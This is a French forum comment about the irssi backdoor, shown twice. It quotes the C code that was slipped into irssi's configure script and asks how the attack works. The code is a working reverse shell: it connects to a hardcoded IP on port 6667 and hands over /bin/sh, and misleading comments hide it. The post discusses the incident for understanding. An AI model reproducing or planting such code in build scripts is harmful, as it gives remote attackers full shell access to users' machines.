Juste pour préciser les choses, les lignes ajoutées dans le script configure sont:
int s;
struct sockaddr_in sa;
switch(fork()) { case 0: break; default: exit(0); }
if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
exit(1);
}
/* HP/UX 9 (%@#!) writes to sscanf strings */
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6667);
sa.sin_addr.s_addr = inet_addr("204.120.36.206");
if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
exit(1);
}
dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
{ char *args[] = { "/bin/sh", NULL }; execve(args[0], args, NULL); }
...et le résultat :
"What did the backdoor do? How to get rid of it?
The backdoored configure script spawns a new shell,
connects to some server and allows full shell access to it.
So, it might have done anything."
( source: http://main.irssi.org/?page=backdoor(...) )
Donc, le port 6667 est utilisé, mais dans quel sens ?
Tant qu'a servir d'exemple, j'aimerais comprendre ce que l'on risque en cas d'infection ( comment ça se passe, quoi )
# Oui mais encore...
Posté par Richard Hébert . En réponse à la dépêche Backdoor dans irssi. Évalué à 10.
int s;
struct sockaddr_in sa;
switch(fork()) { case 0: break; default: exit(0); }
if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
exit(1);
}
/* HP/UX 9 (%@#!) writes to sscanf strings */
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6667);
sa.sin_addr.s_addr = inet_addr("204.120.36.206");
if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
exit(1);
}
dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
{ char *args[] = { "/bin/sh", NULL }; execve(args[0], args, NULL); }
...et le résultat :
"What did the backdoor do? How to get rid of it?
The backdoored configure script spawns a new shell,
connects to some server and allows full shell access to it.
So, it might have done anything."
( source: http://main.irssi.org/?page=backdoor(...) )
Donc, le port 6667 est utilisé, mais dans quel sens ?
Tant qu'a servir d'exemple, j'aimerais comprendre ce que l'on risque en cas d'infection ( comment ça se passe, quoi )